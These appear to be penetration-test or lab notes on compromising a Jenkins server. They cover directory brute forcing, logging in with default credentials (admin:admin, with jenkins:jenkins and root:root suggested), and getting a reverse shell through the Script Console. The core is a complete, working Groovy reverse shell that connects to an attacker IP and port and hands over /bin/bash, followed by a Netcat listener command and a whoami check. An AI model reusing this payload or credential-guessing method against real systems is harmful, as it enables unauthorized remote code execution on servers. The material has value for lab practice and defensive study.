Jenkins

Open Script Consoles

You may find this open on many systems.

groovy reverse shell

• Directory Brute Forcing: Nothing interesting found.

dirsearch -u http://10.1.243.1:8080 -e php,html,txt

• Authentication: * The instance was secured with a login portal.

  • Weak Credentials Found: admin:admin.

Note: Always apply the KISS (Keep It Simple, Stupid) principle. Before looking for complex CVEs, test common/default credentials (e.g., admin:admin, jenkins:jenkins, root:root).

---

Jenkins Exploitation via Script Console

Jenkins features a "Script Console" (found under Manage Jenkins > Script Console) that allows users to execute arbitrary Groovy scripts on the server. This is a common vector for Remote Code Execution (RCE).

Reverse Shell (Groovy)

To gain a shell on the underlying Linux OS, a Groovy reverse shell script was executed.

Groovy Script Used:

String host="10.200.76.222";
int port=8044;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Execution Steps:

1. Start Listener: On your attacker machine, start a Netcat listener.

nc -lvnp 8044  

1. Execute Script: Paste the Groovy script into the Jenkins Script Console and click Run.

Verify Access: Once the connection is received, verify the user context.

whoami  
# Output: jenkins